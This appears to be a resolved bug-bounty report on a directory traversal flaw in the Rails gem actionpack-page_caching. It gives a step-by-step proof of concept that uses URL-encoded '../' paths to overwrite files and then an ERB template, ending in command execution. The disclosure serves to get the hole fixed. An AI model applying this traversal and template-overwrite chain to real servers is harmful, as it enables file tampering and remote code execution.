File writing by Directory traversal at actionpack-page_caching and RCE by it
High
R
Ruby on Rails
Submitted None
Actions:
Reported by
ooooooo_q
Vulnerability Details
Technical details and impact analysis
I found a directory traversal in `actionpack-page_caching`.
Some code may lead to RCE.
https://github.com/rails/actionpack-page_caching/blob/master/lib/action_controller/caching/pages.rb#L143
```ruby
def cache_file(path, extension)
if path.empty? || path =~ %r{\A/+\z}
name = "/index"
else
name = URI.parser.unescape(path.chomp("/"))
end
if File.extname(name).empty?
name + (extension || default_extension)
else
name
end
end
def cache_path(path, extension = nil)
File.join(cache_directory, cache_file(path, extension))
end
```
The problem is that traversal is not considered in cache_path or cache_file.
Since the URL can use `.` or` / `encoded values, the cache will be written in an unexpected place.
### PoC
#### step 1. Prepare server
```log
ruby -v
rails -v
rails new caching_traversal
cd caching_traversal
# add `gem "actionpack-page_caching"` in Gemfile
bundle install
rails generate scaffold book name:string
rails db:migrate
```
#### step 2. Setting cache
Enable caching.
```log
rails dev:cache
```
Add `caches_page`.
```ruby
# app/controllers/books_contorller.rb
class BooksController < ApplicationController
before_action :set_book, only: [:show, :edit, :update, :destroy]
caches_page :show
```
#### step 3. Start server
Start the server with "rails s".
Prepare a book with the following name.
```
<% `toouch me` %>
```
Check cache behavior.
```log
❯ curl "http://localhost:3000/books/1"
<!DOCTYPE html>
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
❯ ls public
404.html 500.html apple-touch-icon.png favicon.ico
422.html apple-touch-icon-precomposed.png books robots.txt
❯ cat public/books/1.html
<!DOCTYPE html>
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
```
#### step 4. Attack
Add an attack code to the pass and check the result.
```log
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftest"
# test file is generated
❯ ls
app config db Gemfile.lock log public README.md test tmp
bin config.ru Gemfile lib package.json Rakefile storage test.html vendor
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fREADME%2emd"
# If the file exists it will be overwritten
❯ cat README.md
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
```
#### step 5. RCE
RCE is possible if it is possible to create a cache where the value of `<%` is not escaped, like render for text.
Generate the file `app/views/books/show.text.erb` as follows:
```
name: <%= @ book.name %>
```
Overwriting erb files enables RCE.
```log
# overwrite erb
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fapp%2fviews%2fbooks%2fshow%2etext%2eerb?format=text"
name: <% `touch me` %>
❯ cat app/views/books/show.text.erb
name: <% `touch me` %>
# executed `touch me`
❯ curl "http://localhost:3000/books/1.txt"
name:
# me file is generated
❯ ls
app config db Gemfile.lock log package.json Rakefile storage test.html vendor
bin config.ru Gemfile lib me public README.md test tmp
```
## Impact
The cache is generated on an unintended path. Also, RCE may be possible.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$1000.00
Submitted
Weakness
Path Traversal